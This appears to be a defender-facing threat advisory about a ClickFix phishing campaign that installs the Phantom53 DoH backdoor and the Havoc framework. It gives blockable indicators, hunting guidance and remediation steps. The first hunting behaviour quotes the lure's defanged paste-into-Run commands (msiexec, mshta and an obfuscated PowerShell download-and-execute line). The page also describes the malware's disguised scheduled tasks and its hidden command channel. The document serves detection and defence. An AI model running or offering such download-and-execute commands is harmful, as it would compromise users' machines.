Malware / RATCriticalTLP:CLEAR

XaocMail Phantom53

XaocMail ClickFix Campaign Dropping Phantom53 DoH C2 and Havoc

Published
13 November 2026
Added
13 November 2026, 14:18 UK
Last updated
13 November 2026

47 to block now3 to hunt4 behaviours to hunt

Hunt3 platforms

Run the hunt before you block, to find past activity. The same hunt is published for each platform. Preview and copy the queries in the dashboard.

  • Defender XDRKQLDefender portal > Hunting > Advanced hunting. Paste and run over 30 days.Download hunt.kql
  • SplunkSPLSearch & Reporting, last 30 days or more. Reads the CIM data models.Download hunt.spl
  • Google SecOpsYARA-L 2.0Rules Editor. Paste, Retrohunt over 30 days, then turn on live mode.Download hunt.yaral

These queries can return false positives. Know your environment and confirm a hit before acting.

Summary

A Russian-speaking actor uses ClickFix document lures to install Phantom53, a DNS-over-HTTPS backdoor that loads Havoc. SOCRadar's Threat Research Unit, writing on 13 November 2026, describes an active campaign by a Russian-speaking actor running since August 2026.

Do now

  1. Block the 47 indicators.
  2. Run the hunt.
  3. Check for explorer.exe.

Indicators 50

ValueTypeActionCopy
185[.]224[.]132[.]148IPv4block
162[.]252[.]198[.]204IPv4block
162[.]252[.]199[.]92IPv4block
94[.]156[.]152[.]7IPv4block
145[.]63[.]138[.]67IPv4block
91[.]132[.]93[.]251IPv4block
hxxp://145[.]63[.…7:8125/up/URLblock
dns[.]timesyncser…2453[.]comDomainblock
securedoc[.]maken…kers[.]devDomainblock
securedoc[.]mesut…kers[.]devDomainblock
linkrot[.]fypahed…kers[.]devDomainblock
cdn-analytics-p53…kers[.]devDomainblock
cdn-analytics-3f4…kers[.]devDomainblock
sync-node-serv[.]comDomainblock
dns[.]cdn-syncnod…rver[.]comDomainblock
cdn-assets-api[.]…kers[.]devDomainblock
cdn-assets-api[.]…kers[.]devDomainblock
cdn-assets-api[.]…kers[.]devDomainblock
cdn-assets-api[.]…kers[.]devDomainblock
a8f2aac37385[.]xyzDomainblock
kfkwrfdd[.]xyzDomainblock
544504d7fe1e[.]xyzDomainblock
bestutyresdomaonupder[.]comDomainblock
bestutyresdomaonupder[.]topDomainblock
bestutyresdomaonu…2324[.]comDomainblock
bceeb2d54b6a756c7…ae98c6da6dSHA256block
79a4cb73983a1facb…b2190284edSHA256block
0e1c94a8f94158f64…c742e59fbbSHA256block
efc4b8c1968c06e59…d696b6cb81SHA256block
4f656834e545c0b44…07b047e2b4SHA256block
8ebb2bf61b48ae7ab…6c0a3adf54SHA256block
a4ad001c6900176eb…df8099dbe8SHA256block
dc57638cb90798835…e07c5b6f8aSHA256block
56582934901cce0b6…765ecde538SHA256block
009099ba10365b44b…ac9843e611SHA256block
0aff424f9a02eb9f4…93d20235d6SHA256block
7055483a77f679ad5…30add598b0SHA256block
0dcfe51d2521e52a4…3fd248d8b1SHA256block
bd1c005f35e4fd8c6…9c8d5e3564SHA256block
dbd252becd490ac47…eed751f477SHA256block
e9e57a57ee45b8faa…d2ef3b43f0SHA256block
d2d41b249905deae3…de8f0ca29bSHA256block
ee5fa33b58d0f2772…f30f5e591aSHA256block
a972797cc1a4161f6…051b817491SHA256block
47e853092511d9663…fcfa5f3db8SHA256block
4efe003a54db8ffba…344e97bc1dSHA256block
9a2af4b6d9780e08c…af6d626546SHA256block
176[.]9[.]154[.]69IPv4alert
hxxps://gist[.]gi…tfile1.txtURLalert
hxxps://github[.]…update.zipURLalert

Sources SOCRadar · ThreatFox · ThreatFox (2) · ThreatFox (3) · ThreatFox (4) · ThreatFox (5) · ThreatFox (6) · ThreatFox (7) · ThreatFox (8) · ThreatFox (9) · ThreatFox (10) · ThreatFox (11) · ThreatFox (12) · ThreatFox (13) · ThreatFox (14) · ThreatFox (15) · ThreatFox (16) · ThreatFox (17) · ThreatFox (18) · ThreatFox (19) · MalwareBazaar · MalwareBazaar (2) · MalwareBazaar (3) · MalwareBazaar (4) · MalwareBazaar (5) · MalwareBazaar (6) · MalwareBazaar (7) · MalwareBazaar (8) · MalwareBazaar (9) · MalwareBazaar (10) · MalwareBazaar (11) · MalwareBazaar (12) · MalwareBazaar (13) · MalwareBazaar (14) · MalwareBazaar (15) · MalwareBazaar (16) · MalwareBazaar (17) · MalwareBazaar (18) · MalwareBazaar (19) · MalwareBazaar (20)

More detail
Note All indicators come from one SOCRadar report; the actor is unnamed. 176[.]9[.]154[.]69 looks like a shared Hetzner proxy and the two GitHub URLs are abused paths on github[.]com, so those are alert only and github[.]com, workers.dev and the public DoH resolvers must never be blocked. Block each workers.dev host exactly as listed.

What to do

  1. Block the attacker IPs, domains (each workers.dev host exactly as listed), the exfiltration URL on 145[.]63[.]138[.]67:8125 and all Phantom53 and Havoc hashes, and search 90 days of proxy, DNS, firewall and EDR logs for them.
  2. Alert on msiexec, mshta or PowerShell launched from the Run dialog with a workers.dev URL ending in /m?id=, /h?id= or /s?id=; isolate any host that hits.
  3. Hunt scheduled tasks that run pythonw.exe with a .pyw script from AppData, the files p53_task_a.xml or p53_task_b.xml, and pythonw.exe in AppData talking to DoH resolvers.
  4. On a confirmed host, remove both tasks and the random AppData Python folder, check HKCU\Software\Classes\CLSID for the beacon's state key, and reset the user's passwords and sessions.
  5. Reduce ClickFix risk: restrict the Run dialog and msiexec from URLs for standard users, and warn staff about paste-this-command pages behind document-sharing emails.

Behaviours to hunt 4

Behaviours are leads, not confirmed indicators, and can match legitimate activity. Compare any hit against your own baseline and environment before acting.

  1. alert ClickFix Run-dialog msiexec, mshta or PowerShell from workers.dev

    Look formsiexec, mshta or PowerShell started from the Run dialog (explorer.exe) with a workers.dev URL ending in /m?id=, /h?id= or /s?id=, or the reversed 'xei' Invoke-Expression trick

    Why it mattersThe XaocMail ClickFix page tells the victim to paste a command into Win+R: msiexec /i hxxps://securedoc[.][name][.]workers[.]dev/m?id=[id] /qn (the current, preferred mode), mshta hxxps://[.][.][.]/h?id=, or powershell .(-join'xei'[-1..-3])((New-Object Net.WebClient).DownloadString('hxxps://[.][.][.]/s?id=')). Tuning: parent must be explorer.exe, the child msiexec, mshta, powershell or pwsh, and the command line must carry a workers.dev URL with one of the three payload paths and an id= parameter, or the reversed xei string. Expected false positives: very rare; legitimate installers are not launched by hand from a workers.dev URL. Treat any hit as initial access. SOCRadar

    Log sourceDefender XDR DeviceProcessEvents; EDR process events

    QueriesKQL · SPL · YARA-L

  2. alert Scheduled task running pythonw.exe from AppData

    Look forA scheduled task that runs pythonw.exe with a .pyw script from a randomly named folder under AppData

    Why it mattersThe Phantom53 MSI drops a private Python 3.11 runtime into a random folder under %LOCALAPPDATA%, %APPDATA%, %APPDATA%\Microsoft or %LOCALAPPDATA%\Microsoft\WindowsApps and registers two tasks that run [folder]\pythonw.exe [random].pyw every 12 minutes (beacon) and every 3 minutes (watcher). Task names come from a pool: MicrosoftEdgeUpdateTask, OneDriveSyncTask, WindowsDefenderScheduledScan, OfficeBackgroundTaskHandler or AdobeAcrobatUpdateTask followed by one random character. Tuning: the task action must contain pythonw.exe and a .pyw file under AppData; standard Python installs (\Programs\Python\, Microsoft Store PythonSoftwareFoundation, Anaconda or Miniconda) are excluded. Expected false positives: a developer's own scheduled Python script run from a portable or venv folder in AppData; a task name from the pool with a pythonw.exe action is close to certain. SOCRadar

    Log sourceDefender XDR DeviceEvents (ScheduledTaskCreated); Windows Security 4698; Task Scheduler operational log

    QueriesKQL

  3. alert p53_task_a.xml or p53_task_b.xml written

    Look forFiles p53_task_a.xml or p53_task_b.xml written to the user's temp folder

    Why it mattersWhen it is not elevated, Phantom53 writes %TEMP%\p53_task_a.xml and p53_task_b.xml and registers them with Register-ScheduledTask, which raises a UAC prompt showing a fake product name such as Node.js Runtime from OpenJS Foundation. The file names are specific to this malware. Expected false positives: none known. SOCRadar

    Log sourceDefender XDR DeviceFileEvents; EDR file events

    QueriesKQL · SPL · YARA-L

  4. hunt pythonw.exe in AppData using DoH resolvers

    Look forpythonw.exe running from a user AppData folder making DNS-over-HTTPS requests to public resolvers by IP or by dns.google

    Why it mattersThe Phantom53 beacon hides its command and control in DNS AAAA answers fetched by DoH POST to 1[.]1[.]1[.]1, 1[.]0[.]0[.]1, 8[.]8[.]8[.]8, 8[.]8[.]4[.]4, 76[.]76[.]2[.]11 or 76[.]76[.]10[.]11 on port 443, falling back to SNI hosts such as dns.google and then to plain UDP 53. Tuning: the process must be pythonw.exe under AppData, outside standard Python installs (\Programs\Python\, PythonSoftwareFoundation, Anaconda, Miniconda). Expected false positives: a Python tool in a user profile that uses a DoH library; browsers and the OS resolver are not pythonw.exe. Do not block the resolvers; hunt the process. SOCRadar

    Log sourceDefender XDR DeviceNetworkEvents; EDR network events; proxy logs

    QueriesKQL

Affected countries and sectors

Targets
Brazil, Peru, India, Indonesia, Spain, Latin America, Asia, Europe
Sectors
Technology and IT, Finance, Education, Government, Logistics, Manufacturing

Background

SOCRadar's Threat Research Unit, writing on 13 November 2026, describes an active campaign by a Russian-speaking actor running since August 2026. XaocMail, a self-hosted phishing platform, sends personalised document-sharing emails from likely compromised mailboxes, linking to Cloudflare Worker ClickFix pages (securedoc subdomains on workers.dev). The victim pastes a Win+R command that runs an MSI (msiexec /i ... /qn), HTA or PowerShell payload. The MSI drops a private Python runtime in a random AppData folder and two scheduled tasks that run pythonw.exe: the Phantom53 beacon, which hides command and control in DNS-over-HTTPS AAAA answers from Cloudflare, Google and ControlD resolvers, and a watcher that loads a Havoc Demon in memory for chosen targets. Almost a thousand lures hit Latin America, Asia and Europe across technology, finance, education, government, logistics and manufacturing. Attacker servers, domains, the exfiltration URL and all malware hashes are on the block list.

Downloads

View folder in repository

MITRE ATT&CK12

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